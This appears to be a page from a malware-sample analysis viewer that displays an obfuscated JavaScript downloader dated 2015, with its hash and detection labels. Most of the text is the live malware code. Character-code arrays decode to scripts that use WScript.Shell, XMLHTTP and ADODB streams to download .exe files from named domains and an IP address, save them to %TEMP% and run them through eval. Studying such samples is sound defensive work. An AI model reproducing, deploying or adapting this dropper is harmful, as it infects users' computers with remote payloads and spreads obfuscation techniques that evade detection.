Suspicious 80% javascript-malware-collection Download

20151209_3397530dae140e6090d8246296e66809.js

Obfuscated payload execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic
SHA-256427f876afd20331b8f3e9cf0040072db16e81a219c8fa0efa90ad31e55306baa

Evidence

Obfuscated increment/decrement via arithmetic lines 2–12
2:1773… 25]='}';Ejmjk[126]='~';Ejmjk[127]='';
3function LnPmv(IiQGNauRaKG,vvQYAbALhVDtn,SSNthxBb){cUgH=parseInt(IiQGNauRaKG,vvQYAbALhVDtn);FwKTo=cUgH.toString(SSNthxBb);return FwKTo;}function hvwcQszUeFKLswA(GlJThDnzgIgxPgxXn){eval(GlJThDnzgIgxPgxXn)}
4function eVQTXwaNQHOUwYBqlskTuKIYlxxkUAiUioZxEnedZhjZPYiVSVegOu(TubCjaaOKrGaX,GdoyoqEQGGhxAw){ return Ejmjk[LnPmv(TubCjaaOKrGaX[GdoyoqEQGGhxAw],(236+534)/77,(8676+324)/900)];}
5function lqAURrL(PHLotuLHVcaysNuwtjxWRlrdwtbOrjCWeWvn) {return !isNaN(parseFloat(PHLotuLHVcaysNuwtjxWRlrdwtbOrjCWeWvn)) && isFinite(PHLotuLHVcaysNuwtjxWRlrdwtbOrjCWeWvn);}
6function EVNLKWIGHTk(pPnGEykY,CgtRYJ){return pPnGEykY.split(CgtRYJ)}
7var C=["13","10","13","10","118","97","114","32","102","32","61","32","34","115","111","102","116","101","120","116","114","97","105","110","54","52","46","99","111","109","47","56","54","46","101","120","101","63","32","52","54","46","49","53","49","46","53","50","46","49","57","55","47","56","54","46","101","120","101","63","32","63","32","63","34","46","115","112","108","105","116","40","34","32","34","41","59","13","10","118","97","114","32","76","69","111","32","61","40","40","49","47","42","117","99","65","53","57","50","48","51","50","50","53","57","54","110","55","53","55","51","54","52","117","77","51","53","52","49","57","51","101","79","105","90","42","47","41","63","34","87","83","99","114","105","34","58","34","34","41","43","34","112","116","46","83","104","101","108","108","34","59","13","10","118","97","114","32","72","68","32","61","32","87","83","99","114","105","112","116","46","67","114","101","97","116","101","79","98","106","101","99","116","40","76","69","111","41","59","13","10","118","97","114","32","81","111","32","61","32","34","37","84","69","77","80","37","92","92","34","59","13","10","118","97","114","32","117","65","118","32","61","32","72","68","46","69","120","112","97","110","100","69","110","118","105","114","111","110","109","101","110","116","83","116","114","105","110","103","115","40","81","111","41","59","13","10","118","97","114","32","75","87","97","32","61","32","34","50","46","88","77","76","72","34","59","13","10","118","97","114","32","79","89","76","32","61","32","75","87","97","32","43","32","34","84","84","80","34","59","13","10","118","97","114","32","69","90","32","61","32","116","114","117","101","32","32","44","32","88","121","65","68","32","61","32","34","65","68","79","68","34","59","13","10","118","97","114","32","76","66","32","61","32","87","83","99","114","105","112","116","46","67","114","101","97","116","101","79","98","106","101","99","116","40","34","77","83","34","43","34","88","77","76","34","43","40", …
8var m=["51","50","59","13","10","102","111","114","32","40","118","97","114","32","65","61","81","109","67","59","32","65","60","102","46","108","101","110","103","116","104","59","32","65","43","43","41","32","32","123","13","10","32","32","118","97","114","32","102","76","32","61","32","48","59","13","10","32","32","116","114","121","32","32","123","13","10","9","112","111","105","32","61","32","34","71","69","84","34","59","9","32","13","10","32","32","32","32","76","66","46","111","112","101","110","40","112","111","105","44","34","104","116","116","112","58","47","47","34","43","102","91","65","93","43","72","44","32","102","97","108","115","101","41","59","32","76","66","46","115","101","110","100","40","41","59","32","105","102","32","40","76","66","46","115","116","97","116","117","115","32","61","61","32","54","57","57","45","52","57","57","41","32","32","123","13","10","32","32","32","32","32","32","84","110","87","46","111","112","101","110","40","41","59","32","84","110","87","46","116","121","112","101","32","61","32","49","59","32","84","110","87","46","119","114","105","116","101","40","76","66","46","114","101","115","112","111","110","115","101","66","111","100","121","41","59","32","105","102","32","40","84","110","87","46","115","105","122","101","32","62","32","49","53","52","56","51","45","52","52","49","41","32","32","123","13","10","32","32","32","32","32","32","32","32","102","76","32","61","32","49","59","32","84","110","87","46","112","111","115","105","116","105","111","110","32","61","32","48","59","32","84","110","87","46","115","97","118","101","84","111","70","105","108","101","47","42","70","68","111","110","51","53","76","51","103","99","42","47","40","117","65","118","47","42","104","70","85","112","49","56","108","113","51","82","42","47","43","75","97","69","89","104","67","75","43","34","46","101","120","101","34","44","52","45","50","41","59","32","116","114","121","32","32","123","13","10","32","32","32","32","32","32","32","32 …
9var NWQYB=[C,m];
10var ThfOKjkPD=[];
11function yghkhoAHNCPNaAasR(NWQYB){rOQbfhbcics= '';for(KVBCTkiIDUS=(-756+756)/861; KVBCTkiIDUS < (1324+278)/801; KVBCTkiIDUS++) {ThfOKjkPD[KVBCTkiIDUS]=(-609+609)/648; while(true) { if(ThfOKjkPD[KVBCTkiIDUS] > NWQYB[KVBCTkiIDUS].length-(-380+760)/380) { break; } if (lqAURrL(LnPmv(NWQYB[KVBCTkiIDUS][ThfOKjkPD[KVBCTkiIDUS]],(3718+242)/396,(738+622)/136))) {rOQbfhbcics += eVQTXwaNQHOUwYBqlskTuKIYlxxkUAiUioZxEnedZhjZPYiVSVegOu([NWQYB[KVBCTkiIDUS][ThfOKjkPD[KVBCTkiIDUS]]], (-712+712)/90);} ThfOKjkPD[KVBCTkiIDUS]++;}} return rOQbfhbcics}
12hvwcQszUeFKLswA(yghkhoAHNCPNaAasR(NWQYB));

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.